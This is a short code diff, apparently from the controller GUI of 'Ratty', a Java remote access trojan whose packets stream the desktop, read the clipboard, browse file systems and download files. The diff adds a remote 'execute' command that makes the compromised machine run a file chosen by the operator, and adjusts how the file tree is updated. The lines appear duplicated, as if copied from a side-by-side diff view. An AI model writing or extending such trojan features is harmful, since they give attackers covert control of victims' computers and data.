|
@ -12,6 +12,7 @@ import de.sogomn.rat.packet.ClipboardPacket; |
|
|
import de.sogomn.rat.packet.CommandPacket; |
|
|
import de.sogomn.rat.packet.CommandPacket; |
|
|
import de.sogomn.rat.packet.DesktopStreamPacket; |
|
|
import de.sogomn.rat.packet.DesktopStreamPacket; |
|
|
import de.sogomn.rat.packet.DownloadPacket; |
|
|
import de.sogomn.rat.packet.DownloadPacket; |
|
|
|
|
|
import de.sogomn.rat.packet.ExecutePacket; |
|
|
import de.sogomn.rat.packet.FileSystemPacket; |
|
|
import de.sogomn.rat.packet.FileSystemPacket; |
|
|
import de.sogomn.rat.packet.FreePacket; |
|
|
import de.sogomn.rat.packet.FreePacket; |
|
|
import de.sogomn.rat.packet.IPacket; |
|
|
import de.sogomn.rat.packet.IPacket; |
|
@ -88,7 +89,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve |
|
|
final String path = treePanel.getLastPathClicked(); |
|
|
final String path = treePanel.getLastPathClicked(); |
|
|
final FileSystemPacket packet = new FileSystemPacket(path); |
|
|
final FileSystemPacket packet = new FileSystemPacket(path); |
|
|
|
|
|
|
|
|
treePanel.removeFile(path); |
|
|
|
|
|
|
|
|
treePanel.removeChildren(path); |
|
|
|
|
|
|
|
|
return packet; |
|
|
return packet; |
|
|
} else if (command == FileTreePanel.DOWNLOAD) { |
|
|
} else if (command == FileTreePanel.DOWNLOAD) { |
|
@ -108,6 +109,12 @@ public final class RattyGuiController implements IServerObserver, IClientObserve |
|
|
|
|
|
|
|
|
return packet; |
|
|
return packet; |
|
|
} |
|
|
} |
|
|
|
|
|
} else if (command == FileTreePanel.EXECUTE) { |
|
|
|
|
|
final FileTreePanel treePanel = serverClient.getTreePanel(); |
|
|
|
|
|
final String path = treePanel.getLastPathClicked(); |
|
|
|
|
|
final ExecutePacket packet = new ExecutePacket(path); |
|
|
|
|
|
|
|
|
|
|
|
return packet; |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
return null; |
|
|
return null; |
|
|